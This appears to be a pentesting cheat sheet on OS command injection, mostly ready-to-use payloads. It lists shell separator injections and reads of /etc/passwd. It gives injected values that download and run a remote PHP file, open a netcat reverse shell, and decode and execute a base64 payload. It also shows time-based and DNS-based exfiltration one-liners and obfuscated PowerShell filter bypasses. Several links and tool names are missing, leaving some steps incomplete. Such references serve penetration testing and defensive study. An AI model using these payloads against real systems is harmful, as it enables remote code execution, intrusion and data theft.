Command Injection

What is command Injection?

OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From here).


Depending on where your input is being injected you may need to terminate the quoted context (using " or ') before the commands.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands

#Not execute but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command


If you are trying to execute arbitrary commands inside a linux machine you will be interesting in read about this WAF bypasses.


vuln= %0a wget -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln= nc -e /bin/bash 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay


Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from link):


Time based data exfiltration

Extracting data : char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Based on the tool from also hosted at

1. Go to
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.')

Online tools to check for DNS based data exfiltration:



Filtering bypass


powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc


pageBypass Bash Restrictions

Brute-Force Detection List


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